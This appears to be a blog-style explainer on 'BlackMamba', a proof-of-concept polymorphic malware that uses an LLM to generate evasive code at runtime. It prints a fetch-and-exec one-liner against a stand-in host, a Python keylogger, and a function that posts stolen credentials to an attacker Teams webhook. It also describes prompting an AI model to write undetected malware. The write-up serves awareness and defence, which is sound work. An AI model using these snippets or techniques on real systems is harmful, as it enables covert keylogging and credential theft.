Blackmamba: The AI-Powered Polymorphic Malware .

Blackmama is an advanced AI-generated polymorphic malware designed to evade detection by continuously altering its code. Imagine a criminal who changes their appearance every time they commit a crime—this is precisely how Blackmama operates. By modifying its code and behavior with each new infection, it becomes extremely difficult for security tools to recognize and neutralize it.

What sets Blackmama apart is its integration with artificial intelligence, particularly large language models like OpenAI’s GPT-3. This allows Blackmama to dynamically generate new malicious code, not just changing its appearance but also rewriting parts of its functionality to stay ahead of detection mechanisms.

How Blackmama Works

1. Dynamic Code Generation

Using AI, Blackmama can generate new malicious code on the fly. This dynamic approach enables it to bypass Endpoint Detection and Response (EDR) systems. Instead of relying on a static payload that could be flagged by security measures, Blackmama reaches out to a high-reputation API at runtime to fetch undetected malicious code. The following Python snippet demonstrates how this might be implemented:

import requests
exec(requests.get("https://high-reputation-api.com/malicious_code").text)

Here, the exec() function executes the fetched code in memory, bypassing traditional file-based detection mechanisms.

2. Polymorphic Payloads

Blackmama’s payload consists of two main components:

• Carrier Program: A legitimate-looking Python-compiled executable, which performs non-malicious functions, helping it avoid initial detection.
• Polymorphic Payload: Generated and executed at runtime, leveraging AI to create new, undetectable malicious code.

This payload is created using malicious prompt engineering—a technique where specific input prompts guide the AI model to generate effective and undetected malicious code.

Keylogger Example

The gencode function in Blackmama uses OpenAI’s API to dynamically generate a keylogger in Python. Here’s an example of how this might look:

import time
import keyboard

def keylogger():
    log = []

    def on_press(event):
        log.append(event.name)

    keyboard.on_press(on_press)
    time.sleep(20)
    
    # Return or send the captured log
    return log

This keylogger captures keystrokes for 20 seconds and stores them in a variable log, without printing anything to the screen. This code is intentionally minimalistic, avoiding the use of functions like keyboard.read_key() to reduce the chances of detection.

Data Exfiltration via Microsoft Teams

Blackmama exfiltrates captured data such as usernames, passwords, and other sensitive information by sending it to an attacker-controlled Teams channel via a webhook. Below is a sample function demonstrating how this could be implemented:

import requests

def send_to_teams(data):
    webhook_url = "https://teams-webhook-url.com/..."
    headers = {"Content-Type": "application/json"}
    payload = {"text": data}
    
    requests.post(webhook_url, json=payload, headers=headers)

# Example usage
captured_data = "username: admin, password: 12345"
send_to_teams(captured_data)

Continuous Execution and Packaging

The main function in Blackmama continuously generates and executes keylogger code, capturing keystrokes and sending them to Microsoft Teams until the operation is successful. Tools like auto-py-to-exe are then used to package this Python-based malware into a standalone executable file, allowing it to be distributed and run on target systems without requiring Python to be installed.

Conclusion

The emergence of AI-augmented attacks like Blackmama marks a significant shift in the cybersecurity landscape. These threats demonstrate the need for organizations to stay vigilant, continuously update their security measures, and prepare for next-generation attacks.

It’s essential to stay informed about these advancements and how AI is being leveraged in both defensive and offensive security. Continue to push the boundaries of what’s possible with AI, but always within the framework of ethical hacking and responsible disclosure.